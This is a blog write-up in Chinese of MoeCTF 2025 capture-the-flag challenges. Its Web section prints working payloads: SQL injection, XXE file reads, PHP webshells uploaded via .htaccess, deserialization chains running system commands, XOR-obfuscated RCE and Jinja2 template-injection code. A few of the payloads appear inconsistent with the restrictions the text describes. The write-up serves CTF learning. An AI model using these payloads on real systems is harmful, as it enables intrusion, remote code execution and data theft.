跳过正文
  1. Posts/

MoeCTF 2025 WriteUp

·3227 字·7 分钟
目录

Misc
#

Week 1
#

Misc入门指北
#

pdf 里复制
Flag: moectf{We1c0m3_7o_tH3_w0R1d_0f_m1sc3111aN3ous!!}

ez_LSB
#

字面意思 LSB 隐写
zsteg 一键梭哈

$ zsteg --all xidian.png
b1,r,lsb,xy  .. text: "The flag is: bW9lY3Rme0xTQl8xc19zMF8xbnQzcmVzdDFuZyEhc2o5d2R9"

Base64 解码
Flag: moectf{LSB_1s_s0_1nt3rest1ng!!sj9wd}

SSTV
#

玩无线电的都知道
Flag: moectf{d3codiNG_SStV_reQu1REs-PATI3nC3}

捂住一只耳
#

拿剪辑软件分离左声道就行
摩斯电码

..-. .-.. .- --. .. ... ---... .... .- .-.. ..-. ..--.- .-. .- -.. .. --- ..--.- .. -. ..--.- -..- -.. ..-

解码得

FLAGIS:HALF_RADIO_IN_XDU

Flag: moectf{HALF_RADIO_IN_XDU}

Enchantment
#

众所周知 mc 附魔台上的文字是标准银河字母
一个个认字就行

the flag is below
now you have mastered enchanting

Flag: moectf{now_you_have_mastered_enchanting}

ez_png
#

扔进 010,发现倒数第二个数据块未满的情况下还有一个数据块
zlib 解压

>>> import zlib
>>> hex = "789ccbcd4f4d2e49abce30744971cd8b0f3089ccf14f7489f7f4d3f54c3109a90500a8d00a5f"
>>> byte_data = bytes.fromhex(hex)
>>> print(zlib.decompress(byte_data))
b'moectf{h1DdEn_P4YlOaD_IN-Id4T}'

Flag: moectf{h1DdEn_P4YlOaD_IN-Id4T}

Week 2
#

Rush
#

ffmpeg -i rush.gif frame_%d.png

拼好码
moectf{QR_C0d3s_feATUR3_eRror_c0RRECt10N}

ez_锟斤拷????
#

GBK 转 UTF-8

`moectf{EnC0d1ing_gbK_@nD_Utf_8_1s_4un!!ewwww}

encrypted_pdf
#

网上找个工具爆破密码,flag 藏在图片后面(或者全选提取文字也行)

moectf{Pdf_1s_r3a1ly_c0lor4ul!!ihdw}

ez_ssl
#

在未加密的 http 流量中提取到上传的ssl.log

在 wireshark 中以这个密钥解密 tls 流量
找到一个有密码的flag.zip

注释说密码为 7 位纯数字,拿去爆破

文件内容为 ook 编码,解码得moectf{upI0@d-l0G_TO-DeCrYPT_uploAD}

万里挑一
#

循环解压提取密码,然后字典爆破

解压得到flag.zip,内含明文.exeflag.txt,根据提示,使用明文攻击
已知 exe 中有如下明文且偏移为 64

使用bkcrack 攻击

Week 3
#

weird_photo
#

使用 Byxs20 的工具爆破 png 宽高

WebRepo
#


binwalk 发现藏了个 7z 压缩包

010 提取出来,有一个 git 存储库
vscode 打开

Encrypted volume
#

foremost 提取隐藏图片,扫码得到加密卷密钥,使用 vc 挂载,得到 flag。

Web
#

Week 1
#

0 Web入门指北
#

鉴定为 JSFuck,扔到 console 里跑一下就行
Flag: moectf{jv@vScr1p7_14_so0o0o0o_inT3r3&t!!!}

01 第一章 神秘的手镯
#

一开始还以为题给文本是 base 编码的,一看长度刚好 10000 字符,那应该不用处理了。
网页不能粘贴,可以直接修改 dom
document.getElementById("passwordInput").value="..."
Flag: moectf{f_i2_1s_Your_g00d_fri3nd!!}

02 第二章 初识金曦玄轨
#

根页面 把文本的blur移除,可以看到前往/golden_trail看看
前往/golden_trail,显示

========================
路径不正,难窥天道
========================

再看题干提示

省流:你知道什么是http请求包吗?抓一个看看吧!

那就去抓一个呗
观察到响应头里:

x-jinxi-secret = moectf{0bs3rv3_Th3_Gold3n_traiL}

那很惊喜了
Flag: moectf{0bs3rv3_Th3_Gold3n_traiL}

03 第三章 问剑石!篡天改命!
#

观察到有与后端交互,于是寻找 JS 源码

const response = await fetch('/test_talent?level=B', {
    method: 'POST', 
    headers: { 
        'Content-Type': 'application/json' 
    }, 
    body: JSON.stringify({ manifestation: 'none' }) 
}); 
const data = await response.json();

根据题目提示修改为

const response = await fetch('/test_talent?level=S', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json'
    },
    body: JSON.stringify({ manifestation: 'flowing_azure_clouds' })
});
const data = await response.json();

得到

data = {
    flag: 'moectf{Get_p0st-tRANsMls5l0N-is_A-GooD_METHOD1!!12}', 
    result: '天赋:S,光芒:流云状青芒', 
    status: '天道篡改成功!'
}

Flag: moectf{Get_p0st-tRANsMls5l0N-is_A-GooD_METHOD1!!12}

05 第五章 打上门来!
#

很简单的目录穿越,访问../../flag
Flag: moectf{@1l-InPut-1s-m@1Iclou576a7ccd7}

Moe笑传之猜猜爆
#

这题好像是后来加的..?
观察出猜数过程没有与后端交互,所以去翻源码

fetch('/flag', {method: 'POST'})
      .then(res => res.json())
      .then(data => {
        document.querySelector('.flagResult').textContent = "FLAG: " + data.flag;
});

直接运行就行
Flag: moectf{65909f9c-4371-e40d-cf8d-67d15d340473}
当然了,直接在 Console 读取randomNumber的值也是可以的

04 第四章 金曦破禁与七绝傀儡阵
#

题目提示提示:使用Burp Suite、Postman等工具修改HTTP请求,HackBar 启动!

第一关
#

GET /stone_golem?key=xdsec
获得玉简碎片: bW9lY3Rme0Mw

第二关
#

POST /cloud_weaver
Body: declaration=织云阁=第一
获得玉简碎片: bjZyNDd1MTQ3

第三关
#

修改 Header 中X-Forwarded-For127.0.0.1即可

获得玉简碎片: MTBuNV95MHVy

第四关
#

修改User-Agentmoe browser

获得玉简碎片: X2g3N1BfbDN2

第五关
#

修改Cookieuser=xt

获得玉简碎片: M2xfMTVfcjM0

第六关
#

修改Refererhttp://panshi/entry

获得玉简碎片: bGx5X2gxOWgh

第七关
#

字面意思,使用PUT方法,请求体为"新生!"

获得玉简碎片: fQ==

拼接所有碎片:

bW9lY3Rme0MwbjZyNDd1MTQ3MTBuNV95MHVyX2g3N1BfbDN2M2xfMTVfcjM0bGx5X2gxOWghfQ==

Base64解码
Flag: moectf{C0n6r47u14710n5_y0ur_h77P_l3v3l_15_r34lly_h19h!}

06 第六章 藏经禁制?玄机初探!
#

账号: `admin' OR '1'='1`
密码: `随便填`
Flag: `moectf{WE1cOm3_TO-5qI-1njEcTl0Nll79e5d2e}`

07 第七章 灵蛛探穴与阴阳双生符
#

/robots.txt

User-agent: *
Disallow: /flag.php

/flag.php

<?php   
highlight_file(__FILE__);   
$flag = getenv('FLAG');      
$a = $_GET["a"] ?? "";   
$b = $_GET["b"] ?? "";      
if($a == $b){       
    die("error 1");   
}      
if(md5($a) != md5($b)){       
    die("error 2");   
}      
echo $flag; error 1

php弱类型漏洞

/flag.php?a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

Flag: moectf{mdS_iS_NoT-SaFEl111e461f7b2d}

08 第八章 天衍真言,星图显圣
#

---
Parameter: username (GET)
    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: username=test' UNION ALL SELECT CONCAT(0x716a786b71,0x4e56554454666c4f49777666645a4d7863427979697242444559767a4e6b68687a6d4e5755534c79,0x717a6b7171),NULL-- -&password=test

Parameter: password (GET)
    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: username=test&password=test' UNION ALL SELECT CONCAT(0x716a786b71,0x4351707a4a4d745a7163774769747650624a507573534c55574d55466150624d764a4d724a744c45,0x717a6b7171),NULL-- -
    test' UNION ALL SELECT CONCAT("qjxkq","CQpzJMtZqcwGitvPbJPusSLUWMUFaPbMvJMrJtLE","qzkqq"),NULL-- -
    test' UNION ALL SELECT "qjxkqCQpzJMtZqcwGitvPbJPusSLUWMUFaPbMvJMrJtLEqzkqq",NULL-- -
---
$ sqlmap -u "http://127.0.0.1:54968/?username=test&password=test" --threads=10  --technique=U  -D user -T flag --dump
Database: user
Table: flag
[1 entry]
+-----------------------------------------+
| value                                   |
+-----------------------------------------+
| moectf{uNi0n_bASEd_SQl1_FTwll2a96b3875} |
+-----------------------------------------+

Flag: moectf{uNi0n_bASEd_SQl1_FTwll2a96b3875}

Week 2
#

10 第十章 天机符阵
#

/flag.txt
moectf{G00d_7o6_4nD_XX3_Unl0ck_St4r_S34l}

12 第十二章 玉魄玄关·破妄
#

使用蚁剑连接,查看环境变量


moectf{df1001eb-44fa-ec5d-4fef-08fa40407f1c}

09 第九章 星墟禁制·天机问路
#

随便输了个,报错

搜了下似乎是 dig 命令的输出?那尝试执行其他命令

13 第十三章 通幽关·灵纹诡影
#

测试发现校验 content-type,于是上传一句话并修改为 jpeg

但是不行,使用 010 修改文件头后重新上传


使用蚁剑连接

10 第十章 天机符阵_revenge
#


貌似需要输入 xml 格式,网上搜索后得知是XXE漏洞攻击,构造 payload:

<!DOCTYPE ANY [
    <!ENTITY test SYSTEM "file:///flag.txt">
]>
<天机契约>
<阵枢>引魂玉</阵枢>
<解析>&test;</解析>
<输出>未定义</输出>
</天机契约>

14 第十四章 御神关·补天玉碑
#

提示 Apache有一个特殊文件,是什么呢? 联想到.htaccess文件
.htaccess

<FilesMatch "test.jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

test.jpg

<?php
@eval($_POST['shell']);
?>

使用蚁剑连接,查看start.sh发现flag 在根目录下(或环境变量中)

摸金偶遇FLAG,拼尽全力难战胜
#

没有额外的验证,把 js 抄出来就行

fetch(`/get_challenge?count=9`)
    .then((response) => {
        return response.json();
    })
    .then((data) => {
        console.log(data.numbers)
        fetch("/verify", {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
            },
            body: JSON.stringify({
                answers: data.numbers,
                token: data.token
            })
        })
            .then((response) => response.json())
            .then((data) => {
                console.log(data)
            })
    })

11 第十一章 千机变·破妄之眼
#

根据题目提示,需要爆破/?*****=*****,参数名由m,n,o,p,q这五个字母组成。
生成所有序列:

import itertools
letters = ['m', 'n', 'o', 'p', 'q']
all_permutations = itertools.permutations(letters)
# print(len(list(all_permutations)))
for perm in all_permutations:
    print(''.join(perm))

共$A_5^5=120$种组合
使用 bp 爆破

找到npoqm,重定向至find.php

访问后发现路径穿越,但 flag 并不在根目录下…
读取flag.php

666
使用伪协议读取

php://filter/read=convert.base64-encode/resource=./flag.php


base64解码后得到 flag

Week 3
#

16 第十六章 昆仑星途
#

01 第一章 神秘的手镯_revenge
#

666 找了半天/backups/wanyanzhou.txt结果告诉我在/wanyanzhou.txt.bak
6666666 服了

然后扔进 bp 重复 500 次

17 第十七章 星骸迷阵·神念重构
#

php 反序列化,payload:

<?php
class A
{
    public $a = 'system("cat /flag");';
}
$a = new A();
echo urlencode(serialize($a));
?>

编码后:

O%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A20%3A%22system%28%22cat+%2Fflag%22%29%3B%22%3B%7D

18 第十八章 万卷诡阁·功法连环
#

需要将 PersonA 的 name 初始化为 PersonB,这样才能调用 work 方法执行函数

<?php
class PersonA
{
    private $name;
    function __construct()
    {
        $this->name = new PersonB();
    }
    function __wakeup()
    {
        $name = $this->name;
        $name->work();
    }
}
class PersonB
{
    public $name = 'system("cat /flag");';
    function work()
    {
        $name = $this->name;
        eval($name);
    }
}
$a = new PersonA();
echo urlencode(serialize($a));
?>

19 第十九章 星穹真相·补天归源
#

根据题意需要在 PersonA 的__destruct函数中调用PersonC的__Check函数,在__Check函数中执行命令

<?php
class Person
{
    public $name;
    public $id;
    public $age;
    public function __invoke($id)
    {
        $name = $this->id;
        $name->name = $id;
        $name->age = $this->name;
    }
}
class PersonA extends Person
{
    public function __destruct()
    {
        $name = $this->name;
        $id = $this->id;
        $age = $this->age;
        $name->$id($age);
    }
}
class PersonB extends Person
{
    public function __set($key, $value)
    {
        $this->name = $value;
    }
}
class PersonC extends Person
{
    public function __Check($age)
    {
        if (str_contains($this->age . $this->name, "flag")) {
            die("Hacker!");
        }
        $name = $this->name;
        $name($age);
    }
    public function __wakeup()
    {
        $age = $this->age;
        $name = $this->id;
        $name->age = $age;
        $name($this);
    }
}

$personB_object = new PersonB();

$person_inner = new Person();
$person_inner->name = "";
$person_inner->id = $personB_object;
$person_inner->age = "";

$personC_object = new PersonC();
$personC_object->name = "system";
$personC_object->age = "";
$personC_object->id = $person_inner; 

$personA_object = new PersonA();
$personA_object->name = $personC_object;
$personA_object->id = "__Check";
$personA_object->age = "cat /flag";

echo urlencode(serialize($personA_object));
?>

使用了 gpt

15 第十五章 归真关·竞时净魔
#

<?php file_put_contents("shell.php","<?php eval(\$_POST['cmd']);?>");?>

理论上是这样的

19 第十九章_revenge
#

禁止system,改用exec,另外 flag 放在环境变量里

<?php
class Person
{
    public $name;
    public $id;
    public $age;
}
class PersonA extends Person
{
    public function __destruct()
    {
        $name = $this->name;
        $id = $this->id;
        $name->$id($this->age);
    }
}
class PersonB extends Person
{
    public function __set($key, $value)
    {
        $this->name = $value;
    }
    public function __invoke($id)
    {
        $name = $this->id;
        $name->name = $id;
        $name->age = $this->name;
    }
}
class PersonC extends Person
{
    public function check($age)
    {
        $name = $this->name;
        if ($age == null) {
            die("Age can't be empty.");
        } elseif ($name === "system") {
            die("Hacker!");
        } else {
            var_dump($name($age));
        }
    }
    public function __wakeup()
    {
        $name = $this->id;
        $name->age = $this->age;
        $name($this);
    }
}
$person_inner = new Person();
$person_inner->name = "";
$person_inner->id = "";
$person_inner->age = "";
$personB_object = new PersonB();
$personB_object->name = "";
$personB_object->id = $d;
$personB_object->age = "";
$personC_object = new PersonC();
$personC_object->name = "exec";
$personC_object->age = "";
$personC_object->id = $personB_object;
$personA_object = new PersonA();
$personA_object->name = $personC_object;
$personA_object->id = "check";
$personA_object->age = "env";
echo urlencode(serialize($personA_object));
?>

Week 4
#

这是…Webshell?
#

无字母数字的 RCE,异或绕过

url: 
/?shell=$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]);

body: 
_=system("env");

参考RCE篇之无数字字母rce,mark mark。

20 第二十章 幽冥血海·幻语心魔
#

题目提供了源码,将输入的username拼接到 flask 模板内输出,所以尝试Flask模板注入(SSTI)
网络搜索得到一个能用的 payload

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("env").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

21 第二十一章 往生漩涡·言灵死局
#

相比于上一题禁用了双下划线、global和双花括号

根据搜来的教程构造出__

{%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%print xiahuaxian%}

然后对上面那题的payload进行修改

{%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%print xiahuaxian%}
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("env").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
Timmy
作者
Timmy
Fighting for Love.

相关文章

Markdown 和 短代码 展示
·6779 字·14 分钟